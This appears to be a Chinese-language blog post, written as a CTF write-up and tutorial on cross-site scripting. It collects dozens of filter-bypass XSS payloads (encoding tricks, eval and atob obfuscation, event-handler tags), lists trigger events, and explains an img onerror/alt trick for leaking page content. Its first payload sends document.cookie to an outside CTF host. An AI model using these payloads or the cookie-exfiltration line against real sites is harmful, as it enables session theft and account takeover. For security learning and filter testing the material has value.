xss组合启发

xss入门

在这里就说说从一道ctf的xss题目以及在做这个题目的时候所遇到的一些知识还有想法’’

<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>
<img src="x" onerror="this.alt=document.getElementsByTagName('script')[0].innerHTML"/>

选择合适的xss语句

首先我们需要观察,xss从何插入,插入以后我们是否可以点击

<scri<script>pt>alert(1)</scri</script>pt>
<!--均在chrome测试-->
<!--style onreadystatechange=alert(0)-->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="><!--alert(1)-->
<!--xml onreadystatechange=alert(2)-->
<!--object data="data:text/html,<script>alert(3)</script>"-->
<Img src="" onerror="alert(4)"/>
<img src="" onerror="alert(5)"/>
<img src="" onerror="javascript:alert(6)"/>
<[%00] img onerror=alert(10) src=a><!--不执行-->
<i[%00]mg onerror=alert(11) src=a><!--不执行-->
<img/onerror=alert(12) src=a>
<img [%09] onerror=alert(13) src=a>
<img/" onerror=alert(14) src=a>
<img/onerror=alert(140) src=a>
<img/anyjunk/onerror=alert(15) src=a>
<img o[%00]nerror=alert(16) src=a><!--不执行-->
<script/anyjunk>alert(17)</script>
<body onbeforeactivate=alert(18)>
<!--iframe onreadystatechange=alert(19)-->
<object onerror=alert(20)><!--不执行-->
<!--input autofocus onfocus=alert(21)-->
<a>here here</a onmousemove=alert(22)><!--不执行-->
<video src=1 onerror=alert(23)>
<embed src=javascript:alert(24)><!--不执行-->
<x style=behavior:url(#default#time2) onbegin=alert(25)> <!--不执行-->
<img onerror="alert(25)"src=a>
<img onerror='alert(26)'src=a>
<img onerror=`alert(27)`src=a><!--chorme不执行-->
<img/onerror="alert(28)"src=a>
<<img onerror=alert(29) src=a>>
%253cimg%20onerror=alert(30)%20src=a%253e,首先被过滤器解码%3cimg onerror=alert(31) src=a%3e,
后备浏览器解码为<img onerror=alert(30) src=a>
<img onerror=a&#x0006c;ert(31) src=a>使用十进制或者十六进制代替html编码,并添加多个前导0并省略结尾的分号
<img onerror=a&#0108ert(32) src=a>使用十进制或者十六进制代替html编码,并添加多个前导0并省略结尾的分号
<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;33&#x29;>
<img onerror=a&#x6c;ert(34) src=a>
<<script>alert(35);//<</script>
<script<{alert(36)}/></script><!--不执行-->
<body onscroll=alert(37)><br><br><br>....<input autoocus>
<input onblur=alert(38) autofocus><input autofocus>
%u00ABimg onerror=alert(39) src=a%u00bb,unicode编码
非标准编码避开过滤,UTF-7,US-ASCII,UTF-16,多字节字符集Shift-JIS,EUC-JP,BIG5(条件是控制Content-type或者对应的html元标签、charset)
///
避开过滤,脚本代码:
<script>a\u006cert(40)</script>;unicode
<script>eval('a\u006cert(41)')</script>;unicode
<script>eval('a\x6cert(42)')</script>;16进制
<script>eval('a\154ert(43)')</script>;10进制
<script>eval('a\l\ert\(44\)')</script>;eval中多余转义被忽略
<script>eval('al' +'ert\(45\)')</script>;动态构建
<script>eval('al' +'ert(46)')</script>;动态构建带多余转义
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));动态构建</script>;alert(1)
<script>eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));</script>;动态构建</script>;alert(1)
<script>'alert(49)'.replace(/.+/,eval)</script>;无法直接使用eval的情况
<script>function::['alert'](50)</script>;无法直接使用eval的情况
<script>alert(document['cookie'])</script>;替代圆点
<script>with(document)alert(cookie)</script>;替代圆点

以上展示的均为执行脚本的情况,如果script被过滤了,那么就只能使用其他标签,并选择使用javascript来执行并输出进行替代

触发事件

1、onmouseenter:当鼠标进入选区执行代码
2、onmouseleave:当鼠标离开选区执行代码
3、onmousewheel:当鼠标在选区滚轮时执行代码
4、onscroll:拖动滚动条执行代码
5、onfocusin:当获得焦点时执行代码
6、onfocusout:当失去焦点时执行代码
7、onstart:当显示内容时执行代码
8、onbeforecopy:选中内容后右键执行代码
9、onbeforecut:选中内容后右键执行代码
10、onbeforeeditfocus:当获得焦点时执行代码
11、onbeforepaste:选中内容后右键执行代码
12、oncontextmenu:鼠标右键执行代码
13、oncopy:鼠标右键执行复制时执行代码
14、oncut:鼠标右键执行剪切时执行代码
15、ondrag:选择内容并拖动时执行代码
16、ondragend:选择内容并拖动松开鼠标执行代码
17、ondragenter:选择内容并拖动时执行代码
18、ondragleave:选择内容并拖出边框执行代码
19、ondragover:选择内容并拖动时执行代码
20、ondragstart:选择内容并拖动时执行代码
21、ondrop:有内容被拖动进来时执行代码
22、onlosecapture:选择内容时执行代码
23、onpaste:粘贴时执行代码
24、onselectstart:选择内容时执行代码
25、onhelp:进入焦点按F1时执行代码
26、onEnd:当时间线执行完毕时执行代码
27、onBegin:当时间线开始执行代码
28、onactivate:激活当前标签时执行代码
29、onfilterchange:当滤镜改变时执行代码
30、onbeforeactivate:当激活当前标签时执行代码
31、onbeforedeactivate:当标签内值改变时执行代码
32、ondeactivate:当标签内值改变时执行代码
33、onerror:加载错误时触发

在xss中,如果script被过滤, 无法直接执行出结果时,这个时候就要使用其他组合拳,也就是合适的标签搭配合适的事件,比如说我们使用img标签时,我们后面要执行的是一个脚本语句,那么这个时候一定是加载图片错误的,就可以使用onerror事件触发我们的脚本

xss组合

这个时候,我们已经可以用onerror触发我们的脚本了,但是我们需要的是文字,所以这个时候我们还需要寻找一个当图片加载失败时,能够回显文字的东西

alt是一个必需的属性,它规定在图像无法显示时的替代文本。alt属性是用来对网页上的图片进行描述,光标在图片上时显示的提示语即采用该标签实现。

所以当图片不能正常显示时,就会执行onerror的内容,onerror的内容便是回显一个alt

this.alt=document.getElementsByTagName('script')[0].innerHTML

document

document中有许多获取文本内容的方法,或者是其他一些关键信息的方法

通过ID获取(getElementById)
通过name属性(getElementsByName)
通过标签名(getElementsByTagName)
通过类名(getElementsByClassName)
获取html的方法(document.documentElement)
获取body的方法(document.body)
通过选择器获取一个元素(querySelector)
通过选择器获取一组元素(querySelectorAll)
//但是一般还要再后面加上一个.innerHTML
Author

vague huang

Posted on

2022-01-30

Updated on

2022-02-13

Licensed under

Comments